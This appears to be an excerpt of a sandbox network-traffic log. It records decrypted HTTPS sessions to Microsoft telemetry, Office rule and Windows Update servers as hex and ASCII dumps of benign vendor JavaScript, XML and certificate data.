2024-11-18 16:23:47 UTC	16384	IN	Data Raw: 70 28 72 2e 6d 65 74 61 54 61 67 73 2c 72 2e 5f 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d Data Ascii: p(r.metaTags,r._config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()}
2024-11-18 16:23:47 UTC	16384	IN	Data Raw: 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b Data Ascii: ta-m"===t[n].name)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++
2024-11-18 16:23:47 UTC	16384	IN	Data Raw: 61 44 65 76 69 63 65 54 69 63 6b 65 74 22 2c 70 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 Data Ascii: aDeviceTicket",pg="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="
2024-11-18 16:23:47 UTC	16384	IN	Data Raw: 2c 65 5b 6d 76 5d 26 26 28 65 5b 6d 76 5d 3d 65 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d Data Ascii: ,e[mv]&&(e[mv]=ea(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:00 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:01 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:00 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162400Z-16547b76f7f7zzl8hC1DFWmtag00000004x000000000g5ns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:01 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-18 16:24:01 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-18 16:24:01 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-18 16:24:01 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-18 16:24:01 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-18 16:24:02 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-18 16:24:02 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-18 16:24:02 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-18 16:24:02 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-18 16:24:02 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49844	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:02 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Om9ZGPOBELmu1Wp&MD=Lsx14ymd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 16:24:03 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 3f7ee519-56aa-49ea-9641-5245be8816b1 MS-RequestId: 4512b1fd-246f-42ac-820e-a3d13e51fcb3 MS-CV: QGJlYLfxI06PMm5E.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 16:24:02 GMT Connection: close Content-Length: 30005
2024-11-18 16:24:03 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-18 16:24:03 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:04 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:04 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:04 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162404Z-16547b76f7fr5rfnhC1DFW0am400000003c000000000x6sn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:04 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:04 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:04 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05f35093-901e-0016-5b99-38efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162404Z-1866b5c5fbbxjblthC1DFW6b480000000420000000004a7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
